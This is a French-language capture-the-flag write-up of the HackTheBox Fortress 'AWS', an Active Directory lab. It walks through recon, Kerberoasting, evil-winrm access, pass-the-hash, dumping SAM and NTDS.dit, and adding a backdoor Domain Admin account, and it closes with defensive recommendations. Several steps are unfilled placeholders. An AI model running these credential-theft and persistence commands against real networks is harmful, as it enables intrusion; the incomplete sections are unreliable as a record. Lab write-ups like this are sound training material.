HackTheBox Writeup

AWS

AWS - Fortress HackTheBox (Active Directory)

Vue d'Ensemble

AWS est un Fortress HackTheBox simulant un environnement d'entreprise Active Directory complet. Ce challenge combine :

  • Exploitation d'Active Directory (Kerberos, LDAP)
  • Escalade de privilèges Windows
  • Attaques sur applications web (Flask/Gunicorn)
  • Manipulation de bases de données
  • Exploitation de configurations SMB/DNS

Environnement :

  • Domaine : amzcorp.local
  • Contrôleur de domaine : DC01
  • OS : Windows Server avec Active Directory
  • Application Web : jobs.amzcorp.local (Flask/Python)

Phase 1 : Reconnaissance

Scan Nmap Complet

└─$ nmap -Pn -sV -sC -p- -T4 -A 10.13.37.15
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-19 23:12 CET

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.52 ((Win64))
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP
                              (Domain: amzcorp.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) - WinRM
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0

Service Info: Host: DC01; OS: Windows

Ports critiques identifiés :

  • 53 : DNS
  • 80 : Apache HTTP (redirection)
  • 88 : Kerberos (authentification AD)
  • 389/3268 : LDAP/Global Catalog
  • 445 : SMB
  • 5985 : WinRM (accès PowerShell à distance)

Énumération DNS

└─$ dig @10.13.37.15 jobs.amzcorp.local A

;; AUTHORITY SECTION:
amzcorp.local.  3600  IN  SOA  dc01.amzcorp.local. hostmaster.amzcorp.local. 1812 900 600 86400 3600

Domaines découverts :

  • amzcorp.local - Domaine principal
  • dc01.amzcorp.local - Contrôleur de domaine
  • jobs.amzcorp.local - Application web

Analyse Web

└─$ whatweb -v -a 3 10.13.37.15

Summary: Apache[2.4.52], Meta-Refresh-Redirect[http://jobs.amzcorp.local/]

WhatWeb report for http://jobs.amzcorp.local/
Summary: HTTPServer[gunicorn], RedirectLocation[http://jobs.amzcorp.local/login], probably Werkzeug

L'IP 10.13.37.15 redirige vers jobs.amzcorp.local qui est une application Flask avec Gunicorn.

Configuration /etc/hosts :

10.13.37.15  amzcorp.local dc01.amzcorp.local jobs.amzcorp.local

Phase 2 : Exploitation Web - jobs.amzcorp.local

Interface de Connexion

L'application présente un portail de recrutement avec :

  • Page de login : /login
  • Inscription : /register
  • Dashboard : /dashboard (après authentification)

Énumération de l'Application

Après inscription d'un compte test :

  • Fonctionnalité de dépôt de CV
  • Upload de fichiers
  • Système de jobs/candidatures

Vulnérabilité : SQL Injection

[Détails de l'exploitation SQL Injection - à compléter selon le contenu du fichier original]

Vulnérabilité : Upload de Fichier / RCE

[Détails de l'exploitation d'upload - à compléter]


Phase 3 : Énumération Active Directory

Énumération SMB

└─$ crackmapexec smb 10.13.37.15
SMB         10.13.37.15     445    DC01   [*] Windows 10.0 Build 17763 x64
SMB         10.13.37.15     445    DC01   [*] amzcorp.local

Énumération LDAP

└─$ ldapsearch -x -H ldap://10.13.37.15 -b "DC=amzcorp,DC=local"

Énumération RPC

└─$ rpcclient -U "" -N 10.13.37.15
rpcclient $> enumdomusers
rpcclient $> enumdomgroups

Phase 4 : Kerberoasting

Énumération des Comptes de Service

└─$ GetUserSPNs.py amzcorp.local/user:password -dc-ip 10.13.37.15 -request

Comptes vulnérables identifiés :

  • [Liste des SPNs trouvés]

Cassage des Tickets Kerberos

└─$ hashcat -m 13100 kerberos.hash /usr/share/wordlists/rockyou.txt

Credentials récupérés :

  • [Utilisateur:MotDePasse]

Phase 5 : Accès Initial (User)

Connexion via WinRM

└─$ evil-winrm -i 10.13.37.15 -u username -p password

Énumération Post-Exploitation

*Evil-WinRM* PS C:\Users\username> whoami
amzcorp\username

*Evil-WinRM* PS C:\Users\username> whoami /priv
*Evil-WinRM* PS C:\Users\username> net user username
*Evil-WinRM* PS C:\Users\username> net group /domain

🚩 User Flag : [FLAG_USER]


Phase 6 : Escalade de Privilèges - Domain Admin

Énumération BloodHound

└─$ bloodhound-python -d amzcorp.local -u username -p password -c all -ns 10.13.37.15

Analyse avec BloodHound :

  • Chemins vers Domain Admin
  • Comptes avec délégations
  • Groupes privilégiés

Exploitation : [Technique Utilisée]

[Détails de la technique d'escalade - DCSync, GPO Abuse, etc.]

Pass-the-Hash / Pass-the-Ticket

└─$ secretsdump.py amzcorp.local/username:[email protected]

Hash Administrator récupéré :

Administrator:500:aad3b435b51404eeaad3b435b51404ee:[NTLM_HASH]:::

Connexion en tant qu'Administrateur

└─$ evil-winrm -i 10.13.37.15 -u Administrator -H [NTLM_HASH]

🚩 Root Flag : [FLAG_ROOT]


Phase 7 : Post-Exploitation

Extraction de Secrets

# Dump SAM
*Evil-WinRM* PS C:\> reg save HKLM\SAM sam.save
*Evil-WinRM* PS C:\> reg save HKLM\SYSTEM system.save

# Dump NTDS.dit
*Evil-WinRM* PS C:\> vssadmin create shadow /for=C:
*Evil-WinRM* PS C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Temp\ntds.dit

Persistence

# Création d'un compte backdoor
*Evil-WinRM* PS C:\> net user hacker P@ssw0rd123! /add /domain
*Evil-WinRM* PS C:\> net group "Domain Admins" hacker /add /domain

Méthodologie Active Directory

Kill Chain Complète

  1. Reconnaissance : Scan réseau, énumération DNS/LDAP
  2. Initial Access : Exploitation web, credentials par défaut
  3. Execution : Upload de shell, WinRM
  4. Persistence : Comptes backdoor, scheduled tasks
  5. Privilege Escalation : Kerberoasting, GPO Abuse, délégations
  6. Credential Access : Mimikatz, secretsdump, LSASS dump
  7. Discovery : BloodHound, PowerView
  8. Lateral Movement : Pass-the-Hash, WMI, PSExec
  9. Collection : Dump NTDS.dit, SAM
  10. Command and Control : WinRM, evil-winrm

Outils Utilisés

Reconnaissance

  • nmap : Scan de ports et services
  • dig : Énumération DNS
  • whatweb : Identification de technologies web

Active Directory

  • crackmapexec : Énumération SMB/LDAP/WinRM
  • ldapsearch : Requêtes LDAP
  • rpcclient : Énumération RPC
  • bloodhound-python : Collecte de données AD
  • BloodHound : Visualisation de chemins d'attaque

Exploitation

  • Impacket Suite :
    • GetUserSPNs.py : Kerberoasting
    • secretsdump.py : Extraction de secrets
    • psexec.py : Exécution à distance
  • evil-winrm : Shell interactif WinRM
  • hashcat : Cassage de hash

Post-Exploitation

  • PowerView : Énumération AD en PowerShell
  • Mimikatz : Extraction de credentials en mémoire

Compétences Développées

  1. Énumération Active Directory : LDAP, Kerberos, SMB, DNS
  2. Kerberoasting : Extraction et cassage de tickets TGS
  3. BloodHound : Analyse de chemins d'attaque AD
  4. Pass-the-Hash : Authentification avec hash NTLM
  5. WinRM : Accès et exploitation à distance
  6. Secretsdump : Extraction NTDS.dit et SAM
  7. Escalade de Privilèges AD : Délégations, GPO, ACL
  8. Persistence Windows : Comptes backdoor, scheduled tasks

Points Clés à Retenir

Active Directory

  • 🔍 Énumération exhaustive : LDAP, Kerberos, SMB sont des sources d'information riches
  • 🎫 Kerberoasting : Les comptes de service avec SPN sont vulnérables
  • 🔑 Pass-the-Hash : Les hash NTLM sont équivalents aux mots de passe
  • 🩸 BloodHound : Outil essentiel pour identifier les chemins d'attaque

Sécurité Windows

  • ⚠️ WinRM : Service puissant qui doit être sécurisé
  • ⚠️ Délégations Kerberos : Peuvent permettre l'escalade de privilèges
  • ⚠️ GPO : Les Group Policy Objects mal configurées sont exploitables
  • ⚠️ Comptes de service : Doivent avoir des mots de passe forts et rotation régulière

Recommandations de Sécurité

  • 🔒 Principe du moindre privilège : Limiter les droits des comptes
  • 🔒 MFA : Activer l'authentification multi-facteurs
  • 🔒 Rotation de mots de passe : Politique stricte pour comptes privilégiés
  • 🔒 Monitoring : Surveiller les activités Kerberos anormales
  • 🔒 Segmentation réseau : Isoler les serveurs critiques (DC)

Références et Ressources

Documentation

Outils

MITRE ATT&CK


Notes Importantes

⚠️ Avertissement : Ce writeup est à des fins éducatives uniquement. Les techniques présentées ne doivent être utilisées que dans des environnements autorisés (CTF, pentesting avec autorisation écrite).

💡 Conseil : Pour mieux comprendre Active Directory, pratiquez sur des labs comme :

  • HackTheBox Pro Labs (Offshore, RastaLabs)
  • TryHackMe AD Rooms
  • GOAD (Game of Active Directory)

Méthodologie de Résolution Recommandée

  1. Toujours commencer par une énumération complète (nmap, DNS, LDAP)
  2. Documenter chaque découverte (users, groupes, services)
  3. Utiliser BloodHound dès que possible pour visualiser les attaques
  4. Tester Kerberoasting sur tous les comptes avec SPN
  5. Vérifier les délégations et GPO pour l'escalade
  6. Extraire tous les secrets une fois Domain Admin
  7. Pratiquer la persistence pour maintenir l'accès

Conclusion

AWS est un excellent Fortress pour pratiquer :

  • L'énumération et l'exploitation d'Active Directory
  • Les techniques de post-exploitation Windows
  • L'utilisation d'outils professionnels (Impacket, BloodHound)
  • La compréhension des mécanismes Kerberos et NTLM

Ce challenge simule un environnement d'entreprise réaliste et enseigne des compétences directement applicables en pentest professionnel.